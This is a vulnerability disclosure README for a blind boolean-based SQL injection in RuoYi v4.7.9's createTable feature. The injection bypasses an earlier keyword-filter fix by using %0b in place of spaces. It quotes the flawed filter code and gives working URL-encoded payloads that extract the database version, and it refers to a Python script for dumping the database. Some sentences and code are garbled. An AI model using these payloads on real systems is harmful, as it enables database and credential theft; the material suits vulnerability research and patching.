mrlihd/cve-2024-57521-sql-injection-pocBlind SQL injection proof-of-concept exploit for RuoYi v4.7.9, bypassing CVE-2024-42900 filter to dump databases via authenticated boolean-based injection.
I discovered a Blind SQL Injection vulnerability in the createTable feature of RuoYi Framework v4.7.9. This allows an authenticated administrator to execute arbitrary SQL commands via the sql parameter. This is a bypass of CVE-2024-42900 fix as the SQL Injection filter in filterKeyword method is insufficient, the regex can be bypass by using %0b as the alternative character to spaces.
Product: RuoYi Framework
Version: ≤ 4.7.9
Link: [Ruoyi]
The vulnerability was found in the https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java file as follow. The application relies on blacklist keywords to filter SQL Injection attacks, this approach is prone to bypasses. In this case, to fix CVE-2024-42900, the string was added to the blacklist, but the application still doesn't block the character, so I can use it to trigger SQL Injection with .
/*%0bselect%0bpublic class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
The regex select matches select (followed by a space). It fails to match select%0b, which is a valid separator in SQL.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
Caution: Need to change tablename in the CREATE query after every successful query.
3. With the boolean-based SQL Injection, data can be exfiltrated using the Python [poc] in this repo
Usage
Exfiltrate DB version poc
An attacker with administrative privilege can dump the entire database, including other user credentials and system configurations.
%0b character.select instead of select (remove the ending space)